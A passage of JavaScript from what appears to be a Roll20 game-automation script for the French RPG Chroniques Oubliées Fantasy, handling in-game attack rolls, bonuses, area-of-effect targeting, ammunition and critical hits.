undefined && options.auto === undefined && portee > 0) { attBonus -= malusDistance(attaquant, target.token, target.distance, portee, pageId, explications, options.ignoreObstacles); } var chasseurEmerite = charAttributeAsBool(attackingCharId, 'chasseurEmerite') && charOfType(target.charId, "animal"); if (chasseurEmerite) { attBonus += 2; var explChasseurEmerite = "Chasseur émérite => +2 en Attaque et aux DM"; if (options.aoe) explChasseurEmerite += " contre " + target.tokName; explications.push(explChasseurEmerite); target.chasseurEmerite = true; } var ennemiJure = findObjs({ _type: 'attribute', _characterid: attackingCharId, name: 'ennemiJure' }); if (ennemiJure.length === 0) ennemiJure = false; else ennemiJure = raceIs(target, ennemiJure[0].get('current')); if (ennemiJure) { var ejSag = modCarac(attaquant, 'SAGESSE'); attBonus += ejSag; var explEnnemiJure = "Attaque sur ennemi juré => +" + ejSag + " en attaque et +1d6 aux DM"; if (options.aoe) explEnnemiJure += " contre " + target.tokName; explications.push(explEnnemiJure); target.ennemiJure = true; } if (options.argent) { if (estMortVivant(target) || raceIs(target, 'demon') || raceIs(target, 'démon')) { attBonus += 2; explications.push("Arme en argent => +2 en attaque et +1d6 aux DM"); target.argent = true; } } if (options.bonusContreBouclier) { if (charAttributeAsInt(target, 'DEFBOUCLIERON', 1) && charAttributeAsInt(target, 'DEFBOUCLIER', 0) > 0) { attBonus += options.bonusContreBouclier; explications.push("L'adversaire porte un bouclier => " + ((options.bonusContreBouclier > 0) ? '+' : '') + options.bonusContreBouclier + " en attaque"); } } if (options.tueurDeGeants && estUnGeant(target)) { attBonus += 2; explications.push("Tueur de géant => +2 att. et 2d6 DM"); target.tueurDeGeants = true; } if (attributeAsBool(target, 'feinte_' + attaquant.tokName)) { attBonus += 5; explications.push("Feinte => +5 en attaque"); } if (options.contact) { if (attributeAsBool(target, 'criDeGuerre') && charAttributeAsInt(attackingCharId, 'FORCE', 10) <= charAttributeAsInt(target.charId, 'FORCE', 10) && parseInt(attaquant.token.get("bar1_max")) <= parseInt(target.token.get("bar1_max"))) { attBonus -= 2; explications.push("Effrayé => -2 en Attaque"); } } if (charAttributeAsBool(attaquant, 'combatEnPhalange')) { listeAllies(attaquant, function(allies) { var tokensContact = findObjs({ _type: 'graphic', _subtype: "token", _pageid: pageId, layer: 'objects' }); //On compte tokens au contact de l'attaquant et du défenseur et alliés de l'attaquant var alliesAuContact = 0; tokensContact.forEach(function(tok) { if (tok.id == attaquant.token.id) return; if (distanceCombat(target.token, tok, pageId) > 0) return; if (distanceCombat(attaquant.token, tok, pageId) > 0) return; var ci = tok.get('represents'); if (ci === '') return; var ch = getObj('character', ci); if (ch === undefined) return; if (!isActive({ token: tok, charId: ci })) return; var n = ch.get('name'); if (n === undefined) return; if (allies[n]) alliesAuContact++; }); if (alliesAuContact > 0) { attBonus += alliesAuContact; explications.push("Combat en phalange => +" + alliesAuContact + " en Attaque"); } callback(attBonus); }); //fin listeAllies } else callback(attBonus); } function computeDice(lanceur, nbDe, dice, plusFort) { if (plusFort === undefined) plusFort = true; if (dice === undefined) dice = deTest(lanceur); if (attributeAsBool(lanceur, 'malediction')) { if (plusFort) { if (nbDe > 1) nbDe--; else { nbDe = 2; plusFort = false; } } else nbDe++; } var de = nbDe + "d" + dice; if (nbDe > 1) { if (plusFort) de += "kh1"; else de += "kl1"; } return de; } function diminueMalediction(lanceur, evt, attr) { var attrMalediction = attr || tokenAttribute(lanceur, 'malediction'); if (attrMalediction.length > 0) { attrMalediction = attrMalediction[0]; var nbMaudit = parseInt(attrMalediction.get('current')); if (isNaN(nbMaudit) || nbMaudit < 2) { evt.deletedAttributes = evt.deletedAttributes || []; evt.deletedAttributes.push(attrMalediction); attrMalediction.remove(); } else { evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: attrMalediction, current: nbMaudit }); attrMalediction.set('current', nbMaudit - 1); } } } function limiteRessources(personnage, options, defResource, msg, evt) { if (personnage === undefined) { personnage = options.lanceur; } if (options.mana) { if (!depenseMana(personnage, options.mana, msg, evt)) { addEvent(evt); return true; } } var ressource = defResource; var utilisations; if (options.limiteParJour) { if (options.limiteParJourRessource) ressource = options.limiteParJourRessource; ressource = "limiteParJour_" + ressource; utilisations = attributeAsInt(personnage, ressource, options.limiteParJour); if (utilisations === 0) { sendChar(personnage.charId, "ne peut plus faire cette action ajourd'hui"); addEvent(evt); return true; } setTokenAttr(personnage, ressource, utilisations - 1, evt); } if (options.limiteParCombat) { if (!state.COFantasy.combat) { sendChar(personnage.charId, "ne peut pas faire cette action en dehors des combats"); addEvent(evt); return true; } if (options.limiteParCombatRessource) ressource = options.limiteParCombatRessource; ressource = "limiteParCombat_" + ressource; utilisations = attributeAsInt(personnage, ressource, options.limiteParCombat); if (utilisations === 0) { sendChar(personnage.charId, "ne peut plus faire cette action pour ce combat"); addEvent(evt); return true; } setTokenAttr(personnage, ressource, utilisations - 1, evt); } if (options.dose) { var nomDose = options.dose.replace(/_/g, ' '); var doses = attributeAsInt(personnage, 'dose_' + options.dose, 0); if (doses === 0) { sendChar(personnage.charId, "n'a plus de " + nomDose); addEvent(evt); return true; } setTokenAttr(personnage, 'dose_' + options.dose, doses - 1, evt); } if (options.limiteAttribut) { var nomAttr = options.limiteAttribut.nom; var currentAttr = attributeAsInt(personnage, nomAttr, 0); if (currentAttr >= options.limiteAttribut.limite) { sendChar(personnage.charId, options.limiteAttribut.message); addEvent(evt); return true; } setTokenAttr(personnage, nomAttr, currentAttr + 1, evt); } if (options.decrAttribute) { var attr = options.decrAttribute; var oldval = parseInt(attr.get('current')); if (isNaN(oldval) || oldval < 1) { sendChar(personnage.charId, "ne peut plus faire cela"); return true; } evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: attr, current: oldval, max: attr.get('max') }); attr.set('current', oldval - 1); } return false; } //targetToken est soit un token, soit une structure avec un champs cibles qui contient toutes les cibles function attack(playerId, attaquant, targetToken, attackLabel, options) { // Attacker and target infos var attackingToken = attaquant.token; var attackingCharId = attaquant.charId; attaquant.tokName = attaquant.tokName || attaquant.token.get("name"); var attackerTokName = attaquant.tokName; var attacker = getObj("character", attackingCharId); if (attacker === undefined) { error("Unexpected undefined 1", attacker); return; } attaquant.name = attaquant.name || attacker.get("name"); var attackerName = attaquant.name; var pageId = attaquant.token.get('pageid'); //Options automatically set by some attributes if (charAttributeAsBool(attackingCharId, 'fauchage')) { var seuilFauchage = 10 + modCarac(attaquant, 'FORCE'); options.etats = options.etats || []; options.etats.push({ etat: 'renverse', condition: { type: 'deAttaque', seuil: 15 }, save: { carac: 'FOR', carac2: 'DEX', seuil: seuilFauchage } }); } var weaponName; var weaponStats = {}; var attSkillDiv; var crit; var portee; var this_weapon = JSON.parse(attackLabel); if (Array.isArray(this_weapon)) { weaponName = this_weapon[0].replace(/_/g, ' '); weaponStats.attSkill = this_weapon[1][0]; attSkillDiv = this_weapon[1][1]; crit = this_weapon[2]; var DMG = this_weapon[3]; weaponStats.attNbDices = DMG[0]; weaponStats.attDice = DMG[0]; weaponStats.attCarBonus = DMG[0]; weaponStats.attDMBonusCommun = DMG[0]; portee = this_weapon[4]; } else { //On trouve l'attaque correspondant au label var att = getAttack(attackLabel, attackerTokName, attackingCharId); if (att === undefined) return; var attPrefix = att.attackPrefix; weaponName = att.weaponName; weaponStats.attSkill = getAttrByName(attackingCharId, attPrefix + "armeatk") || getAttrByName(attackingCharId, "ATKCAC"); attSkillDiv = getAttrByName(attackingCharId, attPrefix + "armeatkdiv") || 0; // DMG weaponStats.attNbDices = getAttrByName(attackingCharId, attPrefix + "armedmnbde") || 1; weaponStats.attDice = getAttrByName(attackingCharId, attPrefix + "armedmde") || 4; weaponStats.attCarBonus = getAttrByName(attackingCharId, attPrefix + "armedmcar") || modCarac(attaquant, "FORCE"); weaponStats.attDMBonusCommun = getAttrByName(attackingCharId, attPrefix + "armedmdiv"); crit = getAttrByName(attackingCharId, attPrefix + "armecrit") || 20; portee = getPortee(attackingCharId, attPrefix); } attSkillDiv = parseInt(attSkillDiv); weaponStats.attNbDices = parseInt(weaponStats.attNbDices); weaponStats.attDice = parseInt(weaponStats.attDice); weaponStats.attDMBonusCommun = parseInt(weaponStats.attDMBonusCommun); crit = parseInt(crit); if (portee > 0) { options.distance = true; if (attributeAsBool(attaquant, 'rageDuBerserk')) { sendChar(attaquant.charId, "est en rage du berserk, il ne veut attaquer qu'au contact"); return; } } else options.contact = true; //Détermination de la (ou des) cible(s) var nomCiblePrincipale; //Utilise pour le cas mono-cible var cibles = []; if (targetToken.cibles) { //Dans ce cas les cibles sont précisées dans targetToken cibles = targetToken.cibles; if (cibles.length === 0) { error("Attaque sans cible", targetToken); return; } else if (cibles.length == 1) targetToken = targetToken.cibles.token; nomCiblePrincipale = cibles[0].tokName; } else { nomCiblePrincipale = targetToken.get('name'); if (options.aoe) { if (options.targetFx) { spawnFx(targetToken.get('left'), targetToken.get('top'), options.targetFx, pageId); } var distanceTarget = distanceCombat(targetToken, attackingToken, pageId, true, true); var pta = tokenCenter(attackingToken); var ptt = tokenCenter(targetToken); switch (options.aoe.type) { case 'ligne': if (distanceTarget < portee) { //la ligne va plus loin que la cible var scale = portee * 1.0 / distanceTarget; ptt = [ Math.round((ptt[0] - pta[0]) * scale) + pta[0], Math.round((ptt[1] - pta[1]) * scale) + pta[1] ]; } if (targetToken.get('bar1_max') == 0) { // jshint ignore:line //C'est juste un token utilisé pour définir la ligne if (options.fx) { var p1e = { x: attackingToken.get('left'), y: attackingToken.get('top'), }; var p2e = { x: targetToken.get('left'), y: targetToken.get('top'), }; spawnFxBetweenPoints(p1e, p2e, options.fx, pageId); } cibles = []; targetToken.remove(); //On l'enlève, normalement plus besoin } var allToks = findObjs({ _type: "graphic", _pageid: pageId, _subtype: "token", layer: "objects" }); allToks.forEach(function(obj) { if (obj.id == attackingToken.id) return; //on ne se cible pas var objCharId = obj.get('represents'); if (objCharId === '') return; var cible = { token: obj, charId: objCharId }; if (getState(cible, 'mort')) return; //pas de dégâts aux morts var pt = tokenCenter(obj); var distToTrajectory = VecMath.ptSegDist(pt, pta, ptt); if (distToTrajectory > (obj.get('width') + obj.get('height')) / 2) return; cible.tokName = obj.get('name'); var objChar = getObj('character', objCharId); if (objChar === undefined) return; cible.name = objChar.get('name'); cibles.push(cible); }); break; case 'disque': if (distanceTarget > portee) { sendChar(attackingCharId, "Le centre du disque visé est trop loin pour " + weaponName + " (distance " + distanceTarget + ", portée " + portee + ")"); return; } var allToksDisque = findObjs({ _type: "graphic", _pageid: pageId, _subtype: "token", layer: "objects" }); allToksDisque.forEach(function(obj) { if (portee === 0 && obj.id == attackingToken.id) return; //on ne se cible pas si le centre de l'aoe est soi-même if (obj.get('bar1_max') == 0) return; // jshint ignore:line var objCharId = obj.get('represents'); if (objCharId === '') return; var cible = { token: obj, charId: objCharId }; if (getState(cible, 'mort')) return; //pas de dégâts aux morts var distanceCentre = distanceCombat(targetToken, obj, pageId, true); if (distanceCentre > options.aoe.rayon) return; var objChar = getObj('character', objCharId); if (objChar === undefined) return; cible.name = objChar.get('name'); cible.tokName = obj.get('name'); cibles.push(cible); }); if (targetToken.get('bar1_max') == 0) { // jshint ignore:line //C'est juste un token utilisé pour définir le disque targetToken.remove(); //On l'enlève, normalement plus besoin } // La nouvelle portée (pour ne rien éliminer à l'étape suivante portee += options.aoe.rayon; break; case 'cone': var vecCentre = VecMath.normalize(VecMath.vec(pta, ptt)); var cosAngle = Math.cos(options.aoe.angle * Math.PI / 180.0); if (targetToken.get('bar1_max') == 0) { // jshint ignore:line //C'est juste un token utilisé pour définir le cone if (options.fx) { var p1eC = { x: attackingToken.get('left'), y: attackingToken.get('top'), }; var p2eC = { x: targetToken.get('left'), y: targetToken.get('top'), }; spawnFxBetweenPoints(p1eC, p2eC, options.fx, pageId); } cibles = []; targetToken.remove(); //On l'enlève, normalement plus besoin } var allToksCone = findObjs({ _type: "graphic", _pageid: pageId, _subtype: "token", layer: "objects" }); allToksCone.forEach(function(obj) { if (obj.id == attackingToken.id) return; //on ne se cible pas var objCharId = obj.get('represents'); if (objCharId === '') return; var cible = { token: obj, charId: objCharId }; if (getState(cible, 'mort')) return; //pas de dégâts aux morts var pt = tokenCenter(obj); var vecObj = VecMath.normalize(VecMath.vec(pta, pt)); if (VecMath.dot(vecCentre, vecObj) < cosAngle) return; // La distance sera comparée à la portée plus loin var objChar = getObj('character', objCharId); if (objChar === undefined) return; cible.name = objChar.get('name'); cible.tokName = obj.get('name'); cibles.push(cible); }); break; default: error("aoe inconnue", options.aoe); return; } } else { if (attackingToken.id == targetToken.id) { //même token pour attaquant et cible sendChar(attackingCharId, "s'attaque lui-même ? Probablement une erreur à la sélection de la cible. On annule"); return; } var targetCharId = targetToken.get("represents"); if (targetCharId === "") { error("Le token ciblé (" + nomCiblePrincipale + ") doit représenter un personnage ", targetToken); return; } var targetChar = getObj("character", targetCharId); if (targetChar === undefined) { error("Unexpected undefined 2", targetChar); return; } cibles = [{ token: targetToken, charId: targetCharId, name: targetChar.get('name'), tokName: nomCiblePrincipale }]; } if (options.ciblesSupplementaires) { options.ciblesSupplementaires.forEach(function(c) { var i = cibles.indexOf(function(t) { return (t.token.id == c.token.id); }); if (i < 0) cibles.push(c); }); } } //Les conditions qui peuvent empêcher l'attaque if (options.conditionAttaquant !== undefined) { if (!testCondition(options.conditionAttaquant, attaquant, cibles)) { sendChar(attackingCharId, "ne peut pas utiliser " + weaponName); return; } } if (options.avecd12 && getState(attaquant, 'affaibli')) { sendChar(attackingCharId, "ne peut pas utiliser cette capacité quand il est affaibli."); return; } cibles = cibles.filter(function(target) { if (attributeAsBool(target, 'ombreMortelle')) { sendChar(attackingCharId, "impossible d'attaquer une ombre"); return false; } return true; }); if (cibles.length === 0) return; //Prise en compte de la distance cibles = cibles.filter(function(target) { target.distance = distanceCombat(attackingToken, target.token, pageId); if (target.distance > portee && target.esquiveFatale === undefined) { if (options.aoe || options.auto) return false; //distance stricte if (target.distance > 2 * portee) return false; // On peut aller jusqu'à 2x portee si unique cible et jet d'attaque return true; } return true; }); if (cibles.length === 0) { if (options.aoe) { sendChar(attackingCharId, "aucune cible dans l'aire d'effet de " + weaponName); return; } sendChar(attackingCharId, "est hors de portée de " + nomCiblePrincipale + " pour une attaque utilisant " + weaponName); return; } var evt = options.evt || { type: "Tentative d'attaque" }; //the event to be stored in history var explications = []; var sujetAttaquant = onGenre(attackingCharId, 'il', 'elle'); // Munitions if (options.munition) { if (attackingToken.get('bar1_link') === '') { error("Les munitions ne sont pas supportées pour les tokens qui ne sont pas liées à un personnage", attackingToken); } var munitionsAttr = findObjs({ _type: 'attribute', _characterid: attackingCharId, name: 'munition_' + options.munition.nom }); if (munitionsAttr.length === 0) { error("Pas de munition nommée " + options.munition.nom + " pour " + attackerName); return; //evt toujours vide } munitionsAttr = munitionsAttr[0]; var munitions = munitionsAttr.get('current'); if (munitions < 1 || (options.tirDouble && munitions < 2)) { sendChar(attackingCharId, "ne peut pas utiliser cette attaque, car " + sujetAttaquant + " n'a plus de " + options.munition.nom.replace(/_/g, ' ')); return; //evt toujours vide } var munitionsMax = munitionsAttr.get('max'); evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: munitionsAttr, current: munitions, max: munitionsMax }); //À partir de ce point, tout return doit ajouter evt munitions--; if (randomInteger(100) < options.munition.taux) munitionsMax--; if (options.tirDouble) { munitions--; if (randomInteger(100) < options.munition.taux) munitionsMax--; } explications.push("Il reste " + munitions + " " + options.munition.nom.replace(/_/g, ' ') + " à " + attackerTokName); munitionsAttr.set('current', munitions); munitionsAttr.set('max', munitionsMax); } // Armes chargées if (options.semonce === undefined && options.tirDeBarrage === undefined) { var chargesArme = findObjs({ _type: 'attribute', _characterid: attackingCharId, name: "charge_" + attackLabel }); if (chargesArme.length > 0) { var currentCharge = parseInt(chargesArme[0].get('current')); if (isNaN(currentCharge) || currentCharge < 1) { sendChar(attackingCharId, "ne peut pas attaquer avec " + weaponName + " car elle n'est pas chargée"); addEvent(evt); return; } if (options.tirDouble && currentCharge < 2) { sendChar(attackingCharId, "ne peut pas faire de tir double avec ses" + weaponName + "s car " + sujetAttaquant + " n'en a pas au moins 2 chargées"); addEvent(evt); return; } evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: chargesArme[0], current: currentCharge }); if (options.tirDouble) currentCharge -= 2; else currentCharge -= 1; chargesArme[0].set('current', currentCharge); if (currentCharge === 0 && charAttributeAsInt(attackingCharId, "initEnMain" + attackLabel, 0) > 0) { updateNextInit(attackingToken); } } else { if (options.tirDouble) { sendChar(attackingCharId, "ne peut pas faire de tir double avec ses" + weaponName + "s car " + sujetAttaquant + " n'en a pas au moins 2 chargées"); addEvent(evt); return; } } } if (limiteRessources(attaquant, options, attackLabel, weaponName, evt)) return; // Effets quand on rentre en combat if (!state.COFantasy.combat) { var selected = [{ _id: attackingToken.id }]; cibles.forEach(function(target) { selected.push({ _id: target.token.id }); }); initiative(selected, evt); } var pacifisme_selected = tokenAttribute(attaquant, 'pacifisme'); if (pacifisme_selected.length > 0 && pacifisme_selected[0].get('current') > 0) { pacifisme_selected[0].set('current', 0); sendChat("GM", "/w " + attackerName + " " + attackerTokName + " perd son pacifisme"); } if (options.contact && attributeAsBool(attaquant, 'frappeDuVide')) { options.frappeDuVide = true; setTokenAttr(attaquant, 'frappeDuVide', 0, evt); } // On commence par le jet d'attaque de base : juste le ou les dés d'attaque // et le modificateur d'arme et de caractéritiques qui apparaissent dans // la description de l'attaque. Il faut quand même tenir compte des // chances de critique if (isNaN(crit) || crit < 1 || crit > 20) { error("Le critique n'est pas un nombre entre 1 et 20", crit); crit = 20; } if (options.bonusCritique) crit -= 1; if (charAttributeAsBool(attaquant, 'scienceDuCritique') || (!options.distance && !options.sortilege && charAttributeAsBool(attaquant, 'morsureDuSerpent'))) crit -= 1; if (options.affute) crit -= 1; var dice = 20; if (getState(attaquant, 'affaibli')) { dice = 12; explications.push("Attaquant affaibli => D12 au lieu de D20 en Attaque"); } if (options.avecd12) dice = 12; var nbDe = 1; if (options.m2d20) nbDe = 2; var de = computeDice(attaquant, nbDe, dice); var attackRollExpr = "[[" + de + "cs>" + crit + "cf1]]"; if (isNaN(attSkillDiv)) attSkillDiv = 0; var attSkillDivTxt = ""; if (attSkillDiv > 0) attSkillDivTxt = " + " + attSkillDiv; else if (attSkillDiv < 0) attSkillDivTxt += attSkillDiv; var attackSkillExpr = addOrigin(attackerName, "[[" + weaponStats.attSkill + attSkillDivTxt + "]]"); // toEvaluateAttack inlines // 0: attack roll // 1: attack skill expression // 2: dé de poudre var toEvaluateAttack = attackRollExpr + " " + attackSkillExpr; if (options.poudre) toEvaluateAttack += " [[1d20]]"; sendChat(attackerName, toEvaluateAttack, function(resAttack) { var rollsAttack = options.rollsAttack || resAttack[0]; var afterEvaluateAttack = rollsAttack.content.split(' '); var attRollNumber = rollNumber(afterEvaluateAttack[0]); var attSkillNumber = rollNumber(afterEvaluateAttack[1]); var d20roll = rollsAttack.inlinerolls[attRollNumber].results.total; var attSkill = rollsAttack.inlinerolls[attSkillNumber].results.total; evt.type = "Attaque"; evt.succes = true; evt.action = { player_id: playerId, attaquant: attaquant, cibles: cibles, attack_label: attackLabel, rollsAttack: rollsAttack, options: options }; addEvent(evt); // debut de la partie affichage var action = "<b>Arme</b> : "; if (options.sortilege) action = "<b>Sort</b> : "; var label_type = BS_LABEL_INFO; var target = cibles[0]; if (options.aoe || cibles.length > 1) { target = undefined; label_type = BS_LABEL_WARNING; } action += "<span style='" + BS_LABEL + " " + label_type + "; text-transform: none; font-size: 100%;'>" + weaponName + "</span>"; var display = startFramedDisplay(playerId, action, attaquant, target); // Cas des armes à poudre if (options.poudre) { var poudreNumber = rollNumber(afterEvaluateAttack[2]); var dePoudre = rollsAttack.inlinerolls[poudreNumber].results.total; explications.push( "Dé de poudre : " + buildinline(rollsAttack.inlinerolls[poudreNumber])); if (dePoudre === 1) { evt.succes = false; if (d20roll === 1) { explications.push( weaponName + " explose ! L'arme est complètement détruite"); sendChat("", "[[2d6]]", function(res) { var rolls = res[0]; var explRoll = rolls.inlinerolls[0]; var r = { total: explRoll.results.total, type: 'normal', display: buildinline(explRoll, 'normal') }; dealDamage(attaquant, r, [], evt, 1, options, explications, function(dmgDisplay, dmg) { var dmgMsg = "<b>Dommages pour " + attackerTokName + " :</b> " + dmgDisplay; addLineToFramedDisplay(display, dmgMsg); finaliseDisplay(display, explications, evt); }); }); } else { explications.push( "La poudre explose dans " + weaponName + ". L'arme est inutilisable jusqu'à la fin du combat"); sendChat("", "[[1d6]]", function(res) { var rolls = res[0]; var explRoll = rolls.inlinerolls[0]; var r = { total: explRoll.results.total, type: 'normal', display: buildinline(explRoll, 'normal') }; dealDamage(attaquant, r, [], evt, 1, options, explications, function(dmgDisplay, dmg) { var dmgMsg = "<b>Dommages pour " + attackerTokName + " :</b> " + dmgDisplay; addLineToFramedDisplay(display, dmgMsg); finaliseDisplay(display, explications, evt); }); }); } return; } else if (d20roll == dePoudre) { evt.succes = false; addLineToFramedDisplay(display, "<b>Attaque :</b> " + buildinline(rollsAttack.inlinerolls[attRollNumber])); explications.push(weaponName + " fait long feu, le coup ne part pas"); finaliseDisplay(display, explications, evt); return; } } //Modificateurs en Attaque qui ne dépendent pas de la cible var attBonusCommun = bonusAttaqueA(attaquant, attackerTokName, weaponName, evt, explications, options); //Autres conditions qui ne modifient pas que le bonus d'attaque if (options.contact) { if (attributeAsBool(attaquant, 'rayon_affaiblissant')) { options.rayonAffaiblissant = true; attBonusCommun -= 2; explications.push("Rayon affaiblissant => -2 en Attaque et aux DM"); } } var traquenard = false; if (options.traquenard) { if (attributeAsInt(attaquant, 'traquenard', 0) === 0) { sendChar(attackingCharId, "ne peut pas faire de traquenard, car ce n'est pas sa première attaque du combat"); return; } traquenard = tokenInit(attaquant, evt); } if (attributeAsInt(attaquant, 'traquenard', 0) > 0) { setTokenAttr(attaquant, 'traquenard', 0, evt); } if (options.feinte) explications.push("Mais c'était une feinte..."); var mainDmgType = options.type || 'normal'; if (options.sortilege) options.ignoreObstacles = true; var critSug; //Suggestion en cas d'écher critique //Calcul des cibles touchées //(et on ajuste le jet pour la triche) var ciblesTouchees = []; var count = cibles.length; cibles.forEach(function(target) { target.additionalDmg = []; target.messages = []; //Les bonus d'attaque qui dépendent de la cible bonusAttaqueD(attaquant, target, portee, pageId, evt, target.messages, options, function(bad) { var attBonus = attBonusCommun + bad; if (traquenard) { var initTarg = tokenInit(target, evt); if (traquenard >= initTarg) { attBonus += 2; target.additionalDmg.push({ type: mainDmgType, value: '2d6' }); target.messages.push(attackerTokName + " fait un traquenard à " + target.tokName); } else { target.messages.push(attackerTokName + " n'est pas assez rapide pour faire un traquenard à " + target.tokName); } } var defautCuirasse = tokenAttribute(target, 'defautDansLaCuirasse_' + attackerTokName); target.crit = crit; if (defautCuirasse.length > 0) { target.defautCuirasse = true; if (target.crit > 2) target.crit -= 1; } //Defense de la cible defenseOfToken(attaquant, target, pageId, evt, options, function(defense) { var interchange; if (options.aoe === undefined) { interchange = interchangeable(attackingToken, target, pageId); if (interchange.result) defense += 5; } //Absorption au bouclier var absorber; if (target.absorber) { explications = explications.concat(target.absorberExpl); if (target.absorber > defense) { defense = target.absorber; absorber = target.absorberDisplay; } } var touche = 1; //false: pas touché, 1 touché, 2 critique if (options.dmgCoef) touche = options.dmgCoef; // Calcule si touché, et les messages de dégats et attaque if (!options.auto) { if (options.triche) { switch (options.triche) { case "rate": if (d20roll >= target.crit) { if (target.crit < 2) d20roll = 1; else d20roll = randomInteger(target.crit - 1); } if ((d20roll + attSkill + attBonus) >= defense) { var maxd20roll = defense - attSkill - attBonus - 1; if (maxd20roll >= target.crit) maxd20roll = target.crit - 1; if (maxd20roll < 2) d20roll = 1; else d20roll = randomInteger(maxd20roll); } break; case "touche": if (d20roll == 1) d20roll = randomInteger(dice - 1) + 1; if ((d20roll + attSkill + attBonus) < defense) { var mind20roll = defense - attSkill - attBonus - 1; if (mind20roll < 1) mind20roll = 1; if (mind20roll >= dice) d20roll = dice; else d20roll = randomInteger(dice - mind20roll) + mind20roll; } break; case "critique": if (d20roll < target.crit) { if (target.crit <= dice) d20roll = randomInteger(dice - target.crit + 1) + target.crit - 1; else d20roll = dice; } break; case "echecCritique": if (d20roll > 1) d20roll = 1; break; default: error("Option inconnue", options.triche); } // now adjust the roll var attackInlineRoll = rollsAttack.inlinerolls[attRollNumber]; attackInlineRoll.results.total = d20roll; attackInlineRoll.results.rolls.forEach(function(roll) { switch (roll.type) { case "R": if (roll.results.length == 1) { roll.results[0].v = d20roll; } break; default: return; } }); } var attackRoll = d20roll + attSkill + attBonus; var attackResult; // string var paralyse = false; if (getState(target, 'paralyse')) { paralyse = true; target.messages.push("Cible paralysée => réussite critique automatique"); } if (charAttributeAsBool(attaquant, 'champion') && d20roll >= 15) options.champion = true; if (d20roll == 1 && options.chance === undefined) { attackResult = " : <span style='" + BS_LABEL + " " + BS_LABEL_DANGER + "'><b>échec&nbsp;critique</b></span>"; if (options.demiAuto) { target.partialSaveAuto = true; evt.succes = false; } else touche = false; var confirmCrit = randomInteger(20); critSug = "/w GM Jet de confirmation pour l'échec critique : " + confirmCrit + "/20. Suggestion d'effet : "; switch (confirmCrit) { case 1: critSug += "l'attaquant se blesse ou est paralysé un tour"; break; case 2: critSug += "l'attaquant blesse un allié"; break; case 3: critSug += "l'arme casse, ou une pièce d'armure se détache, ou -5 DEF un tour (comme surpris)"; break; case 4: critSug += "l'attaquant lache son arme ou glisse et tombe"; break; default: critSug += "simple échec"; } } else if (paralyse || d20roll >= target.crit) { attackResult = " : <span style='" + BS_LABEL + " " + BS_LABEL_SUCCESS + "'><b>réussite critique</b></span>"; touche++; } else if (options.champion) { attackResult = " : <span style='" + BS_LABEL + " " + BS_LABEL_SUCCESS + "'><b>succès</b></span>"; } else if (attackRoll < defense) { attackResult = " : <span style='" + BS_LABEL + " " + BS_LABEL_WARNING + "'><b>échec</b></span>"; evt.succes = false; if (options.demiAuto) { target.partialSaveAuto = true; } else touche = false; } else { // Touché normal attackResult = " : <span style='" + BS_LABEL + " " + BS_LABEL_SUCCESS + "'><b>succès</b></span>"; } var attRollValue = buildinline(rollsAttack.inlinerolls[attRollNumber]); if (attSkill > 0) attRollValue += "+" + attSkill; else if (attSkill < 0) attRollValue += attSkill; if (attBonus > 0) attRollValue += "+" + attBonus; else if (attBonus < 0) attRollValue += attBonus; var line = "<b>Attaque</b> "; if (options.aoe || cibles.length > 1) { line += "contre <b>" + target.tokName + "</b> "; } line += ":<br>"; line += attRollValue + " vs <b>"; if (absorber) line += absorber; else line += defense; line += "</b> " + attackResult; target.attackMessage = line; if (touche) { if (options.asDeLaGachette && attackRoll > 24) { target.messages.push("As de la gachette : + 1d6 aux DM"); target.additionalDmg.push({ type: mainDmgType, value: '1d6' }); } } else { //Effet si on ne touche pas // Draw failed effect if (_.has(options, "fx") && options.distance) { var p1 = { x: attackingToken.get('left'), y: attackingToken.get('top') }; var p2 = { x: target.token.get('left'), y: target.token.get('top') }; // Compute some gaussian deviation in [0, 1] var dev = (Math.random() + Math.random() + Math.random() + Math.random() + Math.random() + 1) / 6; // take into account by how far we miss dev = dev * (d20roll == 1) ? 2 : ((attackRoll - defense) / 20); if (Math.random() > 0.5) dev = -dev; p2.x += dev * (p2.y - p1.y); p2.y += dev * (p2.x - p1.x); spawnFxBetweenPoints(p1, p2, options.fx, pageId); } evt.succes = false; diminueMalediction(attaquant, evt); } } target.touche = touche; if (options.aoe === undefined && interchange.targets.length > 1) { //any target can be affected var n = randomInteger(interchange.targets.length); target.token = interchange.targets[n - 1]; } if (target.touche && attributeAsBool(target, 'image_decalee')) { var id = randomInteger(6); if (id > 4) { target.touche = false; target.messages.push("L'attaque passe à travers l'image de " + target.tokName); } else { target.messages.push("Malgré l'image légèrement décalée de " + target.tokName + " l'attaque touche"); } } if (target.touche) { ciblesTouchees.push(target); if (attributeAsBool(target, 'esquiveFatale')) { var ennemisAuContact = target.ennemisAuContact; if (ennemisAuContact === undefined) { error("Les ennemis au contact n'ont pas été déterminé"); } else { var iOther = ennemisAuContact.find(function(tok) { return (tok.id != attaquant.token.id); }); if (iOther !== undefined) target.messages.push(bouton(target, "!cof-esquive-fatale " + evt.id + " @{target|token_id}", "Esquive fatale ?")); } } } if (options.test || options.feinte || !target.touche) { //On a fini avec cette cible, on imprime ce qui la concerne addLineToFramedDisplay(display, target.attackMessage); target.messages.forEach(function(expl) { addLineToFramedDisplay(display, expl, 80); }); } if (options.feinte) { setTokenAttr(target, 'feinte_' + attaquant.tokName, 0, evt, undefined, target.touche); } count--; if (count === 0) attackDealDmg(attaquant, ciblesTouchees, critSug, attackLabel, weaponStats, d20roll, display, options, evt, explications, pageId); }); //fin defenseOfToken }); //fin bonusAttaqueD }); //fin de détermination de toucher des cibles }); // fin du jet d'attaque asynchrone } function attackDealDmg(attaquant, cibles, critSug, attackLabel, weaponStats, d20roll, display, options, evt, explications, pageId) { if (cibles.length === 0 || options.test || options.feinte) { finaliseDisplay(display, explications, evt); if (critSug) sendChat('COF', critSug); return; } var attackingCharId = attaquant.charId; var attackingToken = attaquant.token; var attackerTokName = attaquant.tokName; options.attaquant = attaquant; //Les dégâts //Dégâts insrits sur la ligne de l'arme var mainDmgType = options.type || 'normal'; var attDice = weaponStats.attDice; var attNbDices = weaponStats.attNbDices; var attCarBonus = weaponStats.attCarBonus; var attDMBonusCommun = weaponStats.attDMBonusCommun; if (isNaN(attDice) || attDice < 0 || isNaN(attNbDices) || attNbDices < 0) { error("Dés de l'attaque incorrect", attDice); return; } if (options.puissant) { attDice += 2; } if (options.reroll1) attDice += "r1"; if (options.reroll2) attDice += "r2"; if 